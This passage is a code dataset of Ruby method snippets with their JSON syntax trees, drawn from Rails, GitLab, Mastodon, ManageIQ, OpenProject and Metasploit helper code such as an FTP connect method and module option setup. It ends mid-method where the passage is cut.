{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":985,"raw_source":"def test_cookie_jar_mutated_by_request_persists_on_future_requests\n    get :authenticate\n    cookie_jar = @request.cookie_jar\n    cookie_jar.signed[:user_id] = 123\n    assert_equal [\"user_name\", \"user_id\"], @request.cookie_jar.instance_variable_get(:@cookies).keys\n    get :get_signed_cookie\n    assert_equal [\"user_name\", \"user_id\"], @request.cookie_jar.instance_variable_get(:@cookies).keys\n  end","complexity_score":16.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cookie_jar_mutated_by_request_persists_on_future_requests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"authenticate\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie_jar\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"cookie_jar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie_jar\"]},\"signed\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"int\",\"children\":[123]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"user_name\"]},{\"type\":\"str\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"cookie_jar\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@cookies\"]}]},\"keys\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"get_signed_cookie\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"user_name\"]},{\"type\":\"str\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"cookie_jar\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@cookies\"]}]},\"keys\"]}]}]}]}","id":"c021853f-4519-4ac6-9196-dd37c468d3c6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/concerns/renders_commits_spec.rb","start_line":14,"raw_source":"def index\n      @merge_request = MergeRequest.find(params[:id])\n      @commits = set_commits_for_rendering(\n        @merge_request.recent_commits.with_latest_pipeline(@merge_request.source_branch),\n        commits_count: @merge_request.commits_count\n      )\n\n      render json: { html: view_to_html_string('projects/merge_requests/_commits') }\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@commits\",{\"type\":\"send\",\"children\":[null,\"set_commits_for_rendering\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"recent_commits\"]},\"with_latest_pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"source_branch\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commits_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"commits_count\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"send\",\"children\":[null,\"view_to_html_string\",{\"type\":\"str\",\"children\":[\"projects/merge_requests/_commits\"]}]}]}]}]}]}]}]}]}","id":"1ffeb7a4-68ed-4363-9f14-aaa5a1790252"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/spec/support/helpers.rb","start_line":14,"raw_source":"def fixtures_path\n    spec_path.join('fixtures')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fixtures_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spec_path\"]},\"join\",{\"type\":\"str\",\"children\":[\"fixtures\"]}]}]}","id":"f7e2328d-e6b7-42bf-ae7e-8c4bda53ad45"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/query_cache_test.rb","start_line":472,"raw_source":"def test_cache_notifications_can_be_overridden\n    logger = ShouldNotHaveExceptionsLogger.new\n    subscriber = ActiveSupport::Notifications.subscribe \"sql.active_record\", logger\n\n    connection = ActiveRecord::Base.lease_connection.dup\n\n    def connection.cache_notification_info(sql, name, binds)\n      super.merge(neat: true)\n    end\n\n    connection.cache do\n      connection.select_all \"select 1\"\n      connection.select_all \"select 1\"\n    end\n\n    assert_equal true, logger.events.last.payload[:neat]\n  ensure\n    ActiveSupport::Notifications.unsubscribe subscriber\n  end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_notifications_can_be_overridden\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ShouldNotHaveExceptionsLogger\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"sql.active_record\"]},{\"type\":\"lvar\",\"children\":[\"logger\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"dup\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"cache_notification_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"binds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"neat\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"select_all\",{\"type\":\"str\",\"children\":[\"select 1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"select_all\",{\"type\":\"str\",\"children\":[\"select 1\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"events\"]},\"last\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"neat\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]}]}]}","id":"6f3dd52f-bdf8-4b14-bb60-50e7ecc0d180"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/profiler.rb","start_line":85,"raw_source":"def tmp_cpu_results_path\n          path = tmp_path_for(name: 'cpu')\n          ::FileUtils.mkdir_p(path)\n          path\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"tmp_cpu_results_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"tmp_path_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"cpu\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}","id":"4f42cdde-e9da-431c-815c-780abdb442ac"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_state.rb","start_line":149,"raw_source":"def containers\n    ids = get_assoc(:containers)\n    ids.empty? ? Container.none : Container.where(:id => ids).order(:id).not_archived_before(timestamp)\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"containers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[null,\"get_assoc\",{\"type\":\"sym\",\"children\":[\"containers\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Container\"]},\"none\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Container\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"not_archived_before\",{\"type\":\"send\",\"children\":[null,\"timestamp\"]}]}]}]}]}","id":"cd3ba7fc-eb28-42d1-aa61-8942471ea72d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/misc/java_rmi_server.rb","start_line":109,"raw_source":"def loader_enabled?(exception_stack)\n    exception_stack.each do |exception|\n      if exception.class == Rex::Java::Serialization::Model::NewObject &&\n         exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&\n         exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' &&\n         [Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&\n         !exception.class_data[1].contents.include?('RMI class loader disabled')\n        return true\n      end\n    end\n\n    false\n  end","complexity_score":43.38,"ast_json":"{\"type\":\"def\",\"children\":[\"loader_enabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception_stack\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception_stack\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Java\"]},\"Serialization\"]},\"Model\"]},\"NewObject\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"class_desc\"]},\"description\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Java\"]},\"Serialization\"]},\"Model\"]},\"NewClassDesc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"class_desc\"]},\"description\"]},\"class_name\"]},\"contents\"]},\"==\",{\"type\":\"str\",\"children\":[\"java.lang.ClassNotFoundException\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Java\"]},\"Serialization\"]},\"Model\"]},\"NullReference\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Java\"]},\"Serialization\"]},\"Model\"]},\"Reference\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"class_data\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"class\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"class_data\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"contents\"]},\"include?\",{\"type\":\"str\",\"children\":[\"RMI class loader disabled\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"11088ba5-b0f5-46ef-8679-114989e89efa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/postgres/postgres_schemadump.rb","start_line":12,"raw_source":"def initialize\n    super(\n      'Name' => 'Postgres Schema Dump',\n      'Description' => %(\n          This module extracts the schema information from a\n          Postgres server.\n      ),\n      'Author' => ['theLightCosine'],\n      'License' => MSF_LICENSE,\n    )\n    register_options([\n      OptBool.new('DISPLAY_RESULTS', [true, 'Display the Results to the Screen', true]),\n      OptString.new('IGNORED_DATABASES', [true, 'Comma separated list of databases to ignore during the schema dump', 'template1,template0'])\n    ])\n    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Postgres Schema Dump\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module extracts the schema information from a\\n\"]},{\"type\":\"str\",\"children\":[\"          Postgres server.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"theLightCosine\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"DISPLAY_RESULTS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Display the Results to the Screen\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"IGNORED_DATABASES\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Comma separated list of databases to ignore during the schema dump\"]},{\"type\":\"str\",\"children\":[\"template1,template0\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"SQL\"]},{\"type\":\"str\",\"children\":[\"RETURN_ROWSET\"]},{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]}]}]}","id":"1f57fa95-3f92-48fa-9bc0-92d664923989"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/x509_serial_number_attribute.rb","start_line":41,"raw_source":"def database_exists?\n      database.exists?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"database_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database\"]},\"exists?\"]}]}","id":"d312bb8c-ee36-42ce-b407-c7a961cd68cc"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/mailers/user_mailer.rb","start_line":126,"raw_source":"def webauthn_credential_deleted(user, webauthn_credential)\n    @resource = user\n    @webauthn_credential = webauthn_credential\n\n    return unless @resource.active_for_authentication?\n\n    I18n.with_locale(locale(use_current_locale: true)) do\n      mail subject: I18n.t('devise.mailer.webauthn_credential.deleted.subject')\n    end\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"webauthn_credential_deleted\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"webauthn_credential\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@resource\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@webauthn_credential\",{\"type\":\"lvar\",\"children\":[\"webauthn_credential\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},\"active_for_authentication?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"with_locale\",{\"type\":\"send\",\"children\":[null,\"locale\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_current_locale\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"devise.mailer.webauthn_credential.deleted.subject\"]}]}]}]}]}]}]}]}","id":"ca4d0285-b741-499a-867e-d9ff84aa4a6f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/regions.rb","start_line":12,"raw_source":"def names\n        regions.keys\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"regions\"]},\"keys\"]}]}","id":"af950d09-8821-40af-985d-9105f0fa2df2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/group_by/base.rb","start_line":35,"raw_source":"def correct_position?\n      type == :row or !child.is_a?(Report::GroupBy::Base) or child.type == :column\n    end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_position?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"child\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Report\"]},\"GroupBy\"]},\"Base\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"child\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"column\"]}]}]}]}","id":"0cc5cc31-0262-4f11-af1a-31a85c73e7e6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/ftp/client.rb","start_line":15,"raw_source":"def connect(global = true)\n          fd = super(global)\n\n          @ftpbuff = '' unless @ftpbuff\n\n          # Wait for a banner to arrive...\n          self.banner = recv_ftp_resp(fd)\n\n          # Return the file descriptor to the caller\n          fd\n        end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"connect\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"global\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fd\",{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"global\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ftpbuff\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@ftpbuff\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"banner=\",{\"type\":\"send\",\"children\":[null,\"recv_ftp_resp\",{\"type\":\"lvar\",\"children\":[\"fd\"]}]}]},{\"type\":\"lvar\",\"children\":[\"fd\"]}]}]}","id":"e0638348-3fe2-475f-b373-5307a647bf57"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/test_helper_test.rb","start_line":17,"raw_source":"def test_capture_broadcasts\n    messages = capture_broadcasts(\"test\") do\n      ActionCable.server.broadcast \"test\", \"message\"\n    end\n    assert_equal \"message\", messages.first\n\n    messages = capture_broadcasts(\"test\") do\n      ActionCable.server.broadcast \"test\", { message: \"one\" }\n      ActionCable.server.broadcast \"test\", { message: \"two\" }\n    end\n    assert_equal 2, messages.length\n    assert_equal({ \"message\" => \"one\" }, messages.first)\n    assert_equal({ \"message\" => \"two\" }, messages.last)\n  end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_capture_broadcasts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_broadcasts\",{\"type\":\"str\",\"children\":[\"test\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"server\"]},\"broadcast\",{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_broadcasts\",{\"type\":\"str\",\"children\":[\"test\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"server\"]},\"broadcast\",{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"one\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"server\"]},\"broadcast\",{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"two\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"one\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"two\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"last\"]}]}]}]}","id":"b47f64b0-b6b8-4f7f-9c30-225e980324d4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/web/settings_controller.rb","start_line":7,"raw_source":"def update\n    @setting.update!(data: params[:data])\n    render_empty\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@setting\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_empty\"]}]}]}","id":"f2a4cc55-a347-4965-926e-0e997b4648d8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kademlia/message.rb","start_line":66,"raw_source":"def ==(other)\n      type == other.type && body == other.body\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"body\"]}]}]}]}","id":"6bc8e1a2-63b1-40c2-855d-eaed697bc0d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable_base_service.rb","start_line":203,"raw_source":"def create(issuable, skip_system_notes: false)\n    # Set author early since this is used for ability checks\n    set_issuable_author(issuable)\n\n    handle_quick_actions(issuable)\n    filter_params(issuable)\n\n    params.delete(:state_event)\n\n    if issuable.respond_to?(:assignee_ids)\n      params[:assignee_ids] = process_assignee_ids(params, extra_assignee_ids: issuable.assignee_ids.to_a)\n    end\n\n    params.delete(:remove_contacts)\n    add_crm_contact_emails = params.delete(:add_contacts)\n\n    initialize_callbacks!(issuable)\n    issuable.assign_attributes(allowed_create_params(params))\n\n    before_create(issuable)\n\n    issuable_saved = issuable.with_transaction_returning_status do\n      @callbacks.each(&:before_create)\n\n      transaction_create(issuable)\n    end\n\n    if issuable_saved\n      @callbacks.each(&:after_save_commit)\n\n      create_system_notes(issuable, is_update: false) unless skip_system_notes\n      handle_changes(issuable, { params: params })\n\n      after_create(issuable)\n      set_crm_contacts(issuable, add_crm_contact_emails)\n      execute_triggers(issuable)\n      execute_hooks(issuable)\n      invalidate_cache_counts(issuable, users: issuable.assignees) unless issuable.allows_reviewers?\n\n      issuable.invalidate_project_counter_caches\n    end\n\n    issuable\n  